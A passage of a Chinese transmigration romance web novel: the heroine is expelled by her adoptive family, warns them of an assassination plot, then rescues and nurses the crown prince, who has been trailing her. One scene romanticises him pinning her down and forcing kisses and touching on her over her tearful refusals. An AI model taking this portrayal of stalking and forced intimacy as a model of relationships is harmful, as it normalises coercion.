“薛小七,你父亲是怎么得罪了你?你竟要这样做!说啊!”
沈木兮浑身风尘仆仆,刚刚才请到了大夫回来,一路的奔波连口水都没来得及喝,就迎上了这一幕,她根本不知道这是发生了什么。
“母亲,不知是出了何事?”
“出了什么事!呵,你非要让薛家乱如一锅粥,你才甘愿,是不是!这些年来,我和薛家可有委屈了你?”
欧阳氏用从未有过的森冷眸光瞪着她:“你父亲分明在这个客栈!为什么要在信里说他是在另外的地方!”
“若非我及时到四周寻找,才在这里找到他,差点就耽误了他的病情,指不定你父亲已经……!你是非要你父亲死不可吗!”
她的声音里带着一丝难受的哭腔!
捂住心口,差点晕厥了过去。
但盯着沈木兮的眼神,却是极尽的冷。
可更多的,却是失望。
怎么会!沈木兮不明白。她的字是丑得很,但绝对不会写错地址的。
况且她是安排了人在薛清身边看着的!
即便欧阳氏他们来迟了,也不会这么快出岔子。
沈木兮双眼红红的,还想说话……
欧阳氏已经别开脸,俨然是不想再看到她了。
“别再多说了。先前祝家夫人说你是灾星,我还不信,现在看来!你果真是那个祸端,你去了何处,何处就不消停!”
“你父亲好端端出门,你为什么要跟去?”
她扬手!
“你!走吧!”
“随便你去何处,走!离开薛家!”
跟着欧阳氏后面的薛宝莹,看到这一幕,想急切的对欧阳氏说什么,可最终还是欲言又止。
最后薛宝莹也别开脸,双眼通红,却始终不再看沈木兮。
沈木兮身子微震:“母亲……”
“别再叫我母亲了,我本就不是你的母亲,你走!”
看着欧阳氏的决绝,沈木兮攥紧双手,努力保持着平静:“母亲想赶我走,我愿意。但我可不可以,再去看一眼父亲。”
欧阳氏眼神如淬了毒!
“你是觉得折腾得你父亲不够,还想再给他下毒不成?”
“我已准备命人把你父亲送回青州,你永远见不到他,也回不了薛家了!”
说完最后一句,欧阳氏掩去自己眼中的痛心,丢出一个包袱给她,带着薛宝莹转身离去!
沈木兮终于撑不住,身子摇摇晃晃地跌去地上。
客栈老板叹了口气,走过来说:“姑娘,兴许有什么误会吧,你再追过去解释清楚。”
这姑娘把父亲送过来后,又是找人帮忙,又是四处奔波寻大夫的,他们都看在眼中,她怎会害人呢?
她没说话,只是盯着眼前随着那包袱,一起被丢出来的那封信。
这便是她匆忙送回青州的信。
沈木兮颤抖伸手,看去上面的内容。
她的眼神,也从无尽的不解,一点点变得震惊无比!
这是她的信,也是她的字迹。
毕竟这么丑的字,除了她,谁还能写出来。
可上面所写薛清所在的地址,居然真的不是这间客栈!
沈木兮神情从惊讶,到自我怀疑,最后变得恍惚……
真的是她写错了吗?
是她的错……
客栈老板见这姑娘脸色实在不好,便把她送回了房中。
等回了房中,沈木兮撑在门板上,终于可以放声哭了出来。
其实这一年来,她嘴里说只是找个栖身之所,不谈感情。可这么久的相处,她早已潜移默化的,把薛家人当成了一家人了。
从和薛宝莹的**开始,她的心便是无比难受的。
此刻,更是难受到的极点。
沈木兮也不知自己哭了多久,只知道外面的天色,已经逐渐变暗。
“姑娘,你家人,已经出发了。你看你这边要不要也……”还是客栈老板,跑来看了看她。
沈木兮打开门,她容颜十分憔悴,对着客栈老板说了一句感谢。
“不必了,我明日会自己走的。”
客栈老板又是叹息,转过身,小声嘀咕。
真是可怜的姑娘啊。
年纪轻轻,看着还没嫁人呢,就被家人丢弃在了这陌生地方。
沈木兮倒没觉得自己可怜,或许,这就是因果吧。
当初她把他丢在京中,现如今,她也成了这个被人丢弃的孩子。
原来,这就是被人“丢弃”的感觉吗?
他当夜……是否也是如此……
沈木兮已经无心去想那些了,关上门,准备收拾东西,明日离开。
薛家既然赶她走,她自然也不会舔着脸继续留下。
但对薛家,她没有一丝埋怨,是真的感激。
穿书来的这些日子,也只有这一年,是真正的自在安逸,无忧无虑。
或许真如欧阳氏所说,她真的是个灾星吧。
那么就更不能回去了。
收拾行囊时,隔壁房中突然传来响动。
沈木兮微的愣住,因为隔壁正是先前薛清所在的屋子,不过薛清已经被薛家人带走,现在住进新的客人也正常。
她没怎么在意。
可紧接着,便是一道细微的对话。
“头儿,那薛清居然没死!”
“那么多的巨石,他居然运气好躲了过去!”
“放心吧,王爷不会让他活太久的,这就是他带着家人躲去远地方的结果,王爷是不会让他和他家人安宁的……”
沈木兮的脸色再次变了。
不仅仅是因为这番对话,而是因为其中一人的声音。
一年前她在京里中药那一夜,也听到了这声音。
当时就有所猜测,现在听到那“王爷”二字,更是让她肯定了!
此人,就是那个夜王的手下,冷刃!
难道这次的巨石不全是个意外,还有人为的因素?居然还和夜王有关!
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回想着这段时日发生的各种事,之前她只怀疑是否和谢景愿有关……该死,她怎么能忘了这个夜王!
“头儿,薛清被他的家人带走了,现在追过去还来得及。”
最后一句话落下,沈木兮再也无法淡定,等他们动作消失,也跟着一起出了房间。
夜王为何要对付薛清?
沈木兮一时想不到原因,但现在最重要的是,她必须去找到薛家人,把这些事告诉他们!
即便避免不了,也得让他们小心!
打定主意,沈木兮当即出了客栈。
好在现在天色还未暗,街道上都是人影。
即便冷刃等人想动手,也得等天色暗下后再说。
方才听客栈老板说,薛家人已经出发了,那应该是正在往出镇的方向去。
她没有迟疑,跟着去了。
果真在小镇入口的方向,发现了薛家的队伍。
她是跑过来的,一看到帘子后的欧阳氏,便扬手大喊!
“母亲!母亲!我有很重要的事要说!”
然而,听到她声音的欧阳氏,不过是眸光动了动,随后冷漠的落下帘子。
明明是璀璨又耀眼夺目的晚霞。
可那薛家的马车,却是极尽冷漠地在沈木兮眼前驶过。
冷风吹起帘子,只有欧阳氏那失望透顶的侧脸。
还有她身侧,眼神冷冰冰,不仅仅是带着失望,还带着些许怨怼伤心的薛宝莹。
除此外。
她还看到了另外的人。
在薛家马车后方,还跟着祝家的车辆。
许是得知了薛清出事,祝家人也跟着一起来帮忙了。
而此刻坐在车中的人,便是祝夫人。
她看沈木兮的目光,比薛家人更狠,带着落井下石的凶光,和一丝冷嘲和活该。
薛宝应……欧阳氏……祝夫人……
这一段时日,发生的所有事情,都像是排山倒海般涌来。
一点点瓦解掉她最后的力气。
沈木兮身子剧烈晃了晃,砰然倒在地上。
她是跑过来的,怎能追得上他们的马车呢。
而这些人……这些,曾经给过她暖意,给过她关怀的至亲之人,此刻就这样头也不会的远去!
她就像是那个被所有人都遗弃的孩子。
又下雪了。
年关将至,连这个小镇里都是灯火通明的。
逐渐暗下的雪夜里。
她却仿佛是身处在无尽的黑暗中。
什么声音也听不到了。
也不知过了多久,一道马车声出现在她身侧。
抱膝坐在雪中的沈木兮,几乎是机械性的下意识回身。
马车停在她面前。
灯火雪夜下,还是那张熟悉的脸。
妖冶,致命。
她也不知道他为什么会出现在这里。
只知道,此刻的他,带着深情又怜惜的微笑,看着落入黑暗里,颤抖最无助的她,伸出手。
“别怕。我带你……回家。”
第89章 我才是世上唯一爱你的人
这一瞬,沈木兮的神情格外恍惚,泪水已在脸上结成了冰晶,只痴痴地望着暗夜里的他。
万千灯火下的冰雪世界里,仿佛眼前之人,才是她真正的救赎。
他笑得无比轻柔,单手捧着她的脸,妖冶的面庞此时不再鬼气森森,温声说:
“从今以后,我就是世上唯一爱你的人了。
除了我,旁人都会伤害你。
也仅有我一人,会好好的……疼你……我的阿兮,跟我回家。”
回家?回家……!
“不……不!”
沈木兮终于苏醒来时,已经在了次日。
她满头大汗,神色惊惶,仿佛刚做了一场可怕至极的噩梦!
昨夜!?
那场景!那些在她被冻晕过去时,所听到的话!都是真的吗?
“姑娘,你没事吧?”
“快去给殿下禀报,说姑娘已经醒了。”
面前的陌生婢女,正在吩咐马车外的人。
而沈木兮的瞳孔也在缓缓聚焦。
她这才发现,自己是单独在一辆马车里。
原来,昨夜她是真的被路过的北辰景给救了,只是他们并非同坐一辆马车。
但这并没有驱散她那心头的惊惧!
脑海中男子那些如恶魔般的低语,此刻还回响在她的脑海中!
就好像。
他在无声无息,离间了你的朋友,又让你的家人丢弃了你,最后再瓦解了你的神智。
等到排解掉你身边的一切后!
他突然出现在你的世界里,伸出手,告诉你……他才是你的归宿……
沈木兮仅仅是这样一想,就觉得背皮发麻!
她忍不住抬手掀起帘子,本是想看去前面他所在的那辆马车,可这一看,她却是愣住了。
因为眼前居然是回青州的路!
估计是连夜奔波,前面隐在群山雾霭下的青州城,已经在愈渐清晰了。
沈木兮心头一动,紧皱的眉心下写满不解。
“青州?”
那婢女笑说:“是啊姑娘,我们殿下认出你是薛家小姐,便打算亲自送你回家。”
原来,昏迷前他说的回家,是指这个家?
沈木兮再看去前面领头的车辆,瞪大眼睛,十分的惊异。
原来,竟是她弄错了吗。
这时前去给北辰景禀报的人也回来了,手里还多了一个包袱。
那人过来给沈木兮说。
“姑娘,我们殿下说,昨夜走的急,没拿上你在青州的包袱,这是给你的赔礼。”
前方车内,男人冷艳又平静的侧脸在随风起的帘后一过,不过是一眼,却还是惹得沈木兮呼吸微重。
她接过包袱:“替我谢谢殿下。”
在这日的午后,马车终于回到了青州城。
而北辰景,也并没做什么“出格”又可怕的举动,当真就这样把她送回了薛家。
到了薛家门前,沈木兮下了车,她回头对着北辰景所在的马车说了一句谢谢,转身进了薛府。
她走的急,没看到她转身那一刹那,车帘后男人朱唇边的冷笑……
“你回来做什么!!”
“不是让你走了吗!”
欧阳氏看到出现的沈木兮,自是动怒的。
沈木兮也知道,自己回来会遭受什么,但她还是选择来这一趟。
“母亲,我知道您不想见到我,但还请您听完我要说的话,这件事十分重要。”
欧阳氏坐在薛家前厅里,脸色黑沉沉的,俨然一句也听不进去。
她正想让人把沈木兮轰走,却被旁边的薛宝莹拦住了。
“母亲,看在她不惜冒着冬雪连夜跟回来的份上,就听听她要说什么吧。”
欧阳氏胸口依旧气得上下起伏,但却没说话了。
沈木兮看去为自己说话的薛宝莹,苍白的唇轻轻勾起,朝她感谢一笑。
薛宝莹却不想和她的眼神对视,别开目光,依旧是那副冷淡样子。
沈木兮把自己听到关于夜王手下,欲对付薛家的事,都捡最重要的说了。
欧阳氏听完,脸色登时就变了。
当初薛清被贬离开京城,她就知道事情没那么简单,薛家在朝也是有根基的,即便在公务上出了差错,怎会到被贬去偏远州镇的地步呢。
那时候她就猜测,老爷是不是遇到了什么麻烦。
才不得不举家迁移。
明着是被贬,实则是自保。
虽然心中已经大致信了沈木兮的说法,但欧阳氏看她的面色,依旧很冷,更没有要把她再留下的意思。
“说完了吗?说完了,你就走吧!”
薛宝莹抿了抿唇,依旧把脸别开。
沈木兮笑了,几分释怀。
她知道跟着回来,即便是说了这些,欧阳氏也不会留下自己的。
她也没想过再待在这。
原本她选择在薛家,就是为了躲避北辰景,现在北辰景已经见过她,也没有必要继续遮掩了。
且看现在的情况,或许……之前她的确误会了他太多。
想来,今后的北辰景,不会有太多的危险了?对吗?
那她便没必要去麻烦人家薛家人了。
沈木兮跪在地上,对着照顾了自己一年的母亲,无比诚恳地一拜。
“感谢母……薛夫人多年来的照拂,还望夫人余生安康。”
一句薛夫人,让欧阳氏的眼底霎时闪过一道晶莹。
却又被她给遮掩住了。
她没说话,冷漠的目光依旧看着旁处。
沈木兮也不再在这惊扰人家,微微晃动起身,转头离去。
看着她单薄的身影,欧阳氏想说话,却又咽了回去。
走吧……走吧!
踏出前厅,朝着府门而去。<
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br>这时,身后传来一道声音:“喂,你……等等。”
沈木兮步伐一顿,回头看去,正是偷偷从前厅跑出来的薛宝莹。
她的神情十分别扭,抿着双唇,半晌才来到沈木兮跟前。
但薛宝莹的话语却十分严肃。
“父亲醒了,他说,如果你回来了,让你过去,务必去和他见一面。”
父亲……
父亲果真还是最记挂着她的。
沈木兮鼻子一酸,差点忍不住哭了出来。她什么也没有说,只重重一点头!
“嗯嗯!”
薛宝莹显然是背着欧阳氏带沈木兮去见的薛清,很小心翼翼。
等来到薛清的屋子,薛宝莹先出去叫退了四周的人,才把沈木兮带了过去。
“父亲现在情况还不是很好,但他执意要见你。父亲还说,你一定会跟回来,让我别告诉母亲,见到你便定要把你带来。”
薛宝莹说到这,不禁忍不住撇撇嘴。
父亲还真懂薛小七。真是过分。
“快去吧,我在外面看着。”
沈木兮知道薛宝莹的性子,她喜欢和不喜欢,都是直接表现在脸上,这也是薛宝莹的可爱之处。
“谢谢。”
她很快进了屋中。
穿过浓重的药味,她很快来到床边。
薛清已经醒了,看来的确是欧阳氏去的及时,不然结果还真难以预料。
想到这,沈木兮不免又有了几分自责。
不过薛清虽是醒了过来,但身子被巨石压过,受了很严重的内伤,身子几乎是没什么力气的。
可即便如此,在看到沈木兮的那一刻,薛清还是睁着满是血丝的眼睛,抓住沈木兮的手,仿佛是用尽了自己此刻所有的力道,哑声说:“小七,逃……快逃……危险……”
那样子!好像有什么洪水猛兽,在朝着沈木兮追赶来。
薛清其实还说了其他的话,但话语断断续续,声音也十分沙哑,沈木兮听得不是太清晰。
她只当薛清重伤后,脑子还有些混乱,以为此刻还是之前在山道遭遇落石时。
不过沈木兮还是顺着他的话语点点头,一边给他盖被子,一边道:“好,女儿记住了,父亲,您一定要照顾好自己。”
“若……”
若今后还有机会相见,女儿一定会给您尽孝。
“小七,快点,母亲要来了。快啊!”
这时外面传来了薛宝莹的声音,沈木兮不敢在这久留,再郑重地给薛清道别后,很快走了。
全然没看到,身后薛清瞳孔睁大,情绪持续激动。
他像是知道了些什么!
还在拼命地对她的背影说着:
“北辰景……危险,他……冲……冲你来的,孩子……逃……逃啊……”
逃出薛家,逃出青州。
永远都别再回来!
第90章 尾随
“你快走吧,母亲说了不想见你,让你走,那就不会收回。”薛宝莹把沈木兮带到了府中后门,背着身对她冷声说。
沈木兮凝视着她。
虽然薛宝莹极力地在隐藏,但沈木兮还是从她那微微耸动的双肩,看出了薛宝莹此刻的真正情绪。
这丫头……一向是藏不住的,还是那样的刀子嘴豆腐心。
真当她不知道,她在自己跪祠堂时,给她送来的炭火?
还有在她被祝家人谩骂苛责时,她偷偷跑去祝家,大骂了人家快大半日吗?
沈木兮轻笑摇着头,也不管薛宝莹是多么的别扭,上前轻轻抱住她。
“对不起,宝莹,当初说过,要陪你去选妃,陪你一同进京,好姐妹一生不分离,我怕是再也做不到了。”
薛宝莹身子猛地一震,原本蓄在眼眶里的热泪,如决堤般!
她蓦然回身,一把反抱住沈木兮!
不停捶她,但又舍不得用大力气。
“薛小七!你真是笨**,笨**!”
本就是个只知道在后院晒太阳,什么也不懂的笨丫头,真离开薛家跑出去!年关将至,岂非是出门送死吗?
“父亲叫你去,你就对父亲说点好听的,母亲一向听父亲的话,你还怕有父亲坐镇,母亲不收回成命吗?”
笨蛋!
薛小七你个大笨蛋!
沈木兮看着她大哭着打骂自己,她也红了眼,一边抬手给薛宝莹拭泪安抚她,一边摇头:“不用了,我已经决定好了。”
她的确该去走向属于自己的人生了。
继续在这,万一……就怕那个万一,又给薛家带来了祸患呢?
见她执意要走,薛宝莹推开她,气呼呼地转过身!
“好,你走吧,走!那就别再回来了!”
“宝莹,你要好好的,若有机会,我会来看你。再……见。”
“小七?小七……”
沈木兮的声音越来越远,薛宝莹慌了,哭着着急转身,可身后早已没了她的身影。
薛宝莹也哭哑了声音,望着她离去的方向。
笨蛋……
你也是。一定要好好的。
……
沈木兮从后巷里绕出来时,眼圈已是通红。
她看着眼前这青州陌生又熟悉的街道。
突然发现,她穿到这个世界也是有好几年了,可到现在,都好像没有一个真正属于自己的落脚点。
沈木兮自嘲一笑。
是她给诸位穿越大军姐妹们丢脸了,能把日子过成这样,她也是个人才。
无所谓了,大不了就从头开始!
带着满怀的希望和信心走出了巷子,刚出去,沈木兮便见到对面停靠在薛家附近,那两辆无比熟悉的马车。
沈木兮看了眼领头的那个车辆,想了想,还是走了过去。
街头上人声鼎沸,她站在马车外,隔着帘子,声音也不知传到他耳中没有。
“谢过殿下相帮,我这边的事情已经解决了,接下来的路途,就不麻烦殿下了。”
马车里的男人微一侧目,幽光四伏的湿冷眼眸里,没什么多余的情绪。
他只是对外面的人做了个手势。
驾车的离阙便头也没回,甩起马鞭子,就这样从沈木兮跟前离去。
就,这样走了?
沈木兮霎时呆愣住。
本已经做足了准备,因为她也保不准,之前雪夜里听到的那些“可怕”话语,是真的……还是梦境。
既然如此,还不如主动出击,大大方方的和别人辞别。
可没想到北辰景比她想象的,更果断和冷漠。
虽然这个结果,比她预想的任何一个可能都要好。
但或许是太好了?
又许是因为真的要离开生活一年的家。
沈木兮这心里,突然就有些……莫名空落落的,眉心紧皱,站在原地驻足了许久。
偌大街道上的冬日冷风,不住吹打在她周身。
没几日便要到年关了,青州城的百姓已是张灯结彩,在等待年关的到来。
可独自走在雪风里的沈木兮,却显得无比孤独萧索。
她深深吐出一口气。
人生在世,吃喝二字!只要还没饿死,那就有希望!
她掂了掂背上的包袱,阔别了身后的青州,朝着崭新的未来重新出发!
只是,也不知是真的要离开太过伤感,还是其余原因,赶了一日的路,沈木兮实在食不知味,吃什么都没有胃口。
这一日下来,
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她几乎就喝了几口水。
坐在离青州十里外的山道茶铺里,沈木兮捧着手里的干粮,想了想,不饿也得对付两口,不然这接下来的路怎么办。
虽然,她也不知自己要去哪儿,走一步看一步吧。
这时,茶铺外传来马车声。
正狂塞干粮的沈木兮,一看到从车里步出的那道熟悉身影,差点把自己给哽住!
北辰景并没看到她,侧脸绝艳又冷漠,径直来到最靠里的位置。
坐下后也只是目不斜视,轻轻喝了几口茶。
他不是先出城吗,怎么还在自己身后?
沈木兮硬塞下两口干粮,丢下银子赶紧走了。
在她转身的时候,后面喝茶男子的手中动作悄然一顿。
她一边走,心跳一边砰砰乱扑腾!
也许只是个碰巧吧!
然而,接下来的半个月里,无论沈木兮换什么路,都有他的身影!
从偏远的山林茶铺,再到热闹的城中酒楼。
即便是下个大雪,她被迫困在山腰木棚里,都能和这个家伙遇上!
虽然,每次相见,他都是那副极致冷漠的姿态,即便是两人并排站在木棚里躲雪,都没有多瞧沈木兮一眼。
但她的心里,还是觉得怪得很。
终于,等到了半个月的清晨。
她在一处寂静无人的山腰林外歇脚,又双叒……遇到了他!
沈木兮实在是忍不住,这种被人一路尾随窥探的滋味!
偏偏他每次都是一脸冷漠,像是和她不熟,让她也找出一丝错处!
就在沈木兮打算过去好生质问一番时。
却见不远处离阙把马车停下,然后依旧是顶着他那张冷冰冰的木头脸,朝着她大步走来。
行啊,来的正好!
沈木兮清了清嗓子,正准备开口。
便见离阙在她跟前站定,冷冷的说。
“我家殿下让我告诉你,让你别再一路上偷跟着他了。”
沈木兮:“?”
哈?!
离阙说完,用一种告诫的眼神,狠狠警告了一番沈木兮,然后转身就走。
沈木兮被气笑了。
到底是谁跟谁啊!!
(感谢大家的好评支持,今日加更两章)
第91章 追杀!
她也是来了脾气!
反正都这样了,她如今只是一介毫无背景的普通女子,怎么都是要得罪高贵的太子殿下,现在连最后的栖身之所也没了。
光脚不怕穿鞋的。
沈木兮撸起袖子就追了过去。
“喂!咱们来好好捋一捋!”
沈木兮过去就一把抓住离阙的胳膊,怒气汹汹地把他拦下。
两人肢体轻微碰触的那一瞬,不远处马车里,正撑着额头闭眸假寐的男人,陡然睁开阴冷眸子,冷绝唇边的笑意异常凛冽,未达眼底!
离阙却像是受到了什么巨大的惊吓,当即挣脱开了沈木兮的抓扯。
“你别……别碰我。”
他再次紧张又恐惧地看去马车,似是被什么给吓坏了!
然后跟逃似的,回到了车边。
沈木兮这还是第一次见,这高冷的大冰块离阙,如此恐慌和狼狈的样子。
她皱眉低头看着自己。
寻思着,她也不**啊?
就在沈木兮这一愣神时,树影里的风声,突然变得有些凌厉。
冬日的山林中的寒风,本就萧索。
但这股风里,却夹杂着一股……暗藏的杀意!
沈木兮的第六感,也瞬间敲起了警钟。
果真下一刻,四周的寒风愈发凛冽,一群早已埋伏至此的黑衣人,从树林里飞身窜出,把北辰景的马车围了起来!
沈木兮一眼看出,那个领头之人是谁!
正是那个夜王的心腹,冷刃。
他们显然是来对付北辰景的,早就在这条路上埋伏许久,人数众多。
相反,北辰景这边,只有寥寥数人。
加上离阙,也只有七八个人手。
“太子殿下,您可真让我们王爷好找!”冷刃毫不迟疑,当即抬手!
很快,双方人马就在风雪里缠斗在了一起!
已经躲在树后的沈木兮,看到这一幕,眉心微微蹙起,抓着树干的手逐渐收紧,无比紧张地看着打斗的战况!
离阙的人一开始还是很凶猛,逼退了不少人。
但因为对方人数众多,离阙他们逐渐节节败退。
前方雪风太重,还有凌厉的杀气四伏。
沈木兮的视线被阻,待她再次甩了甩头,抬头看去时,前面的离阙已经受了重伤!
糟了,要出事了!
在离阙的身旁,北辰景的情况更是糟糕,他肩头中箭,鲜血横流,一张冷艳的脸已是苍白的不行!
看到这一瞬,沈木兮心头猛地一抽。
而后面,冷刃的人马还在朝着他们追来!
沈木兮本该趁机跑走的,可腿却像是烙了铁一般无法动弹。
她咬了咬牙,猛地冲了出去:“跟我走!快!”
离阙一见是她,先是有些迟疑,随后还是带着呼吸减弱的北辰景冲了过来。
“你带着太子殿下离开,我断后!”
他转身便和追过来的人再次缠斗起来。
什么?交给她!?
沈木兮知道时间紧迫,没有停顿,搀扶着身受重伤的北辰景,朝着山林深处逃去了。
只是还没跑多远,北辰景便闷哼一声吐出了一口鲜血。
那刺目的鲜红染上他如**苍白的脸!
行成鲜红的对比!
他却是在笑,看着从按住伤口指缝里溢出的鲜红,歪垂着头,像是在对自己说:“要**吧。”
沈木兮心头一紧,声音坚定:“不,你不会死的。”
一定不会。
她原只知道他是受了箭伤,肩头有个血窟窿,没想到如今身子竟是这么的弱。
难道在京中的那段时日,他没有好好将养自己?
还是又发生了什么,她不曾知道的事?
沈木兮一边撑着他走,北辰景一边难受地吐血,发丝垂落,双眼逐渐变得模糊……最后靠在沈木兮的身上,渐渐晕**过去!
她被吓坏了。
“北辰景?北辰景!”
后方的打斗声还在继续,山林里的雪也越来越大,四周的情况,已经不容他在这继续多呆了。
沈木兮看着身侧浑身染血,如一块儿碎玉般的他,她狠狠地咬了咬牙,也是豁出去了,蹲下身将他背了起来。
沈木兮的力气其实不算大,这一年来天天当米虫,也没好好锻炼,刚背上他,就差点没站稳!
还好提前拾了一根木棍。
她站定后,看着垂在自己肩头男子,那几乎要比**还要苍白的脸,大口呼出一口气。
“谢景愿,我当真是不是上辈子欠了你的?”
沈木兮无奈失笑,但背着他的力道却没有一点放松,看着前方的眼神也异常的坚定
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,一边用肩头的力气拽着他,一边杵着木棍,艰难在深山大雪下往前走。
然而她并没有看到,她在唤出那个久违的名字时……背上男子轻颤着的睫羽。
雪,越来越大。
连沈木兮也不知自己哪里来的力气,居然真的就这样一路把他背到了山野深处。
之前和他在猎林生活过一段时日,沈木兮对这种相似的山野,也算是比较熟悉的。
不多时,便在这里找到了一处猎户的林间小屋。
刚把人放下,北辰景又吐出了一口鲜血,他身子几乎完全瘫软,被放下的时候,那截灰白的发丝勾着鲜血,刺目极了。
胸前的呼吸,也开始越发微弱。
他好难受的样子,眉心紧皱,已经在说起了胡话……
沈木兮赶紧在小屋里翻箱倒柜找了起来,好在这是猎户的屋子,很多伤药都有。
她拿了些药来,撕开北辰景的衣服给他取箭上药包扎。
然后又去拿来了不少的柴火,一边生火,一边不忘时刻回头,看着床上之人!
连手被火星子溅到也没觉察。
见他脸色实在难受,眉心紧蹙,身子也在颤抖,不知是因为疼,还是怎么,湿红眼尾渐渐溢出一行泪。
沈木兮心瞬间揪了起来,丢开柴火,又去端来了一杯水。
“来,我喂你,听话。”
仿佛这一瞬间,时光倒流,又回到了那个远离京城的猎林。
可北辰景双唇紧抿,一口也喂不进去。
沈木兮盯着他干涸的双唇,面色严肃,很郑重的想了想。
随后她一咬牙,自己仰头一骨碌把水喝了下去!
然后深呼吸一口气,凑到了他早已苍白如冰的唇边,喉头微动,一点点将那水顺着他的唇缝喂了进去。
他像是终于等到了久违的甘霖,抬起半昏半醒的湿红双眸,委屈地仰头,细长眸子看着正在用唇喂自己的她,眼神几分幽怨。
“你为什么,要丢下我。”
他委屈极了的样子,此刻更是因为一张病容,显得他楚楚可怜,凑在她唇边,偏偏又带着一股阴狠,问:
“为什么,要丢下我一个人……”
“为什么……”
沈木兮脸色骤变,动作猛地一僵!
连手里的碗都被吓得掉了下去!
第92章 谢景愿…唔唔……你这个疯子!
等反应过来,他不过是半昏半醒时的梦呓,并不是真的认出了她,沈木兮才算是喘口气。
但那一瞬侵蚀她整个背脊的森凉感,还是驱使她放开了他!
正要收回唇将他丢下。
谁知,身下半仰着的他,突然反手钳制着沈木兮的后脑勺,将她往下一按!下一刻,她的唇,已被他强势反堵住!
“唔唔……!”沈木兮双眼瞪大!
一个身受重伤的人,居然有这么大的力气吗?!
她愣神后开始挣扎,可他身上都是伤,她动他哪里都不好。
沈木兮抬起的手,又被迫收了回去。
可下一瞬,她就后悔了。
她都怀疑他方才那难受的样子,是不是他故意装出来的?这哪里像是个要死的人!
强吻她的力道简直的大的惊人。
那个吻,更又凶又狠。
沈木兮唇瞬间就被他吸破了,仿佛还有一丝血腥味在两人的唇齿间蔓延。
“谢景愿……你这个疯子……唔唔!”
她闷哼一声,努力想别开脸!
却因为这一动作,挑衅到了他,他眉心一蹙,阴湿暗红的眼眸里闪过不悦,一个翻身将她压在床上!
更加绵密如火的吻,携着他身上的浓重血腥气,朝她身上铺天盖地侵蚀而来!
他将她的双手擒在头顶上,双腿也被他压得无法动弹!
沈木兮一开始还有力气去呜咽的挣扎反抗,可愈是往后,她身子逐渐被迫软了下来,只能任由着他无尽索取。
直至她的舌尖传来刺痛的酥麻感,嘴里也满是血腥味……
不知是疼得,还是怎么,沈木兮眼角漫出泪水。
滴答落在地上,瞬间消失!
身上的男人动作顿住,他朦胧不清的眼看着她,炽热的唇,落去她的脸颊上,一遍一遍吻过那行泪:
“疼吗?”
他就是这样疼的。
好疼好疼……
他并没有就此放过她,那滚烫的吻从她眼尾,开始蔓延至她的纤腰,乃至往下……
沈木兮身子一个颤栗!
“不……不要……”
“谢景愿,不要这样……”
她哭着求他。
因为舌尖被他咬破,嘴里又疼又麻!她的声音也变得虚无,还带着一丝不该有的气喘吁吁……
不知是不是她这哭哑了的声音唤醒了他,还是其余原因,他突然间停了下来。
沈木兮赶紧坐起身!
第一个反应就是穿上衣服,马上逃走!
眼瞧着要跑出小屋,她突然发现,身后居然静得可怕!
沈木兮下意识转头看去。
床上,他不知是再次晕**过去还是如何,此刻面色死白,胸前几乎完全没了起伏!
他……
沈木兮抓着门框的手一紧,看着那已经迈出去一半的腿,最后咬了咬牙,还是生生折了回来。
“该死。”
低骂了句,沈木兮回到了床边,伸手一探。
和他的脸色上的**白截然相反,他的身子滚烫的吓人!
居然不是装的?
沈木兮先是惊异,随后面色暗沉沉的。
身子都这样了,还要拼命的发疯?这个家伙……
她没好气极了。
但这一次,她却是没有再走了。
她答应了离阙要照顾他,至少,也得等到离阙和他的人找来再说。
反正北辰景现在这副样子,也对她做不了什么的。
方才,便只当……当他是烧糊涂了!
沈木兮吐出一口气,开始拿出帕子,一遍遍的用凉水给他物理降温。
又是换药,又是擦身子。
前前后后的这一折腾,便就从天明持续到了夜里。
以前从不觉得他的身子这么弱,之前在猎林,她明明把他养的不错的啊?难不成,回宫后他反而过的不好吗?
是谁欺负了他?
夜王吗?
想着今日出现的那些追杀的人。
沈木兮眼神一冷。
八成是了……
这该死的夜王,一天到晚的净找事。
沈木兮眉头紧锁,一边蹲在在床边,轻轻地给北辰景擦着脸上的冷汗,一边在心里,默默地把那该死的夜王骂了足足八百遍。
山林里的雪,越来越大了。
可火柴噼啪作响的山间小屋里,却是一片人间暖意。
仿佛,又回到了曾经,那住着只有他们两人的猎林小帐篷。
犹记得那一次他生病发了高热,她也是这样,蹲在他床边,轻声地安抚哄着,连喝药也得哄到大半夜。
现如今他已经成
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了太子,没想到还得她来哄。
先前从未好好看过他,现在他睡熟了过去,沈木兮才开始第一次,在重逢后,仔细端详他的脸。
在火光暖意的映照下,他的脸没那么湿冷鬼气了,连阴鸷冷艳的面部轮廓,都变得柔和几分。
鼻梁高挺,轮廓分明。
比起以前来,更显得成熟具有男人魅力。
但可以肯定的是,他真的瘦了好多。
她眉心轻蹙,轻轻擦拭着他的脸,低声说。
“你定是,恨极了我吧。”
所以方才濒死之时,才会那样的疯。
沈木兮看着看着,眼圈又一点点红了。
这一夜,她也不知道自己陪了他多久,又是何时睡过去的。
等到她醒来,天已经大亮,外面的雪也停了。
只是北辰景还没苏醒。
但高热已经退去,现在只是时不时的低烧,等他的人找来,想来不会有什么大事了。
沈木兮把猎户放在这的兽皮,全部盖在他身上。
转身拿起木盆,捶着自己酸疼的腰,准备去打点水。
刚推开门,外面便传来踩在雪地上的脚步声。
越来越近。
很显然是朝着她这来的!
沈木兮顿时警觉。
“小姐,应该就是这了。按照离阙大人说的记号,就是往这边走。”
她闻声抬头看去,前方的树影里,走出一行人,说话的那个婢女,正是之前沈木兮在北辰景身边见过的,是他的人。
而随行的那位小姐,居然是之前在薛家宴会上,和北辰景同坐的那位美貌小姐。
沈木兮眸光微变,眉心下意识皱了起来。
两人已经来到了木屋前。
婢女小芷,已经认出了她。
“是你啊姑娘!离阙大人说你是跟着殿下的,那我们殿下是不是在这里?”
沈木兮还没回答,两人已经自顾自走了进去。
“殿下果真在这!”楚清鸢转过身,从沈木兮这夺过木盆,脸上带着温柔的笑,但笑意却不达眼底。
“现在我们在这照顾殿下就好,这位姑娘……嗯,若是你没什么其他的事,就可以走了。”
她甚至还把沈木兮往外推了一推,满脸抱歉地关上了门。
沈木兮:“……”
第93章 欢迎……回家!
沈木兮往后一仰,差点没站稳。
一人出现,正是跟在后面赶来的离阙。
他及时伸手撑住了沈木兮,她才没有摔出屋子。
但又很快将手收了回去。
如上次一样,像是把她当成了洪水猛兽,不敢靠近。
他倒也要真敢啊……
离阙眼神几分惊恐地看了眼屋内方向,吞咽了道唾沫。
他这一瞬的眼神变化很快,并没有被沈木兮觉察到。
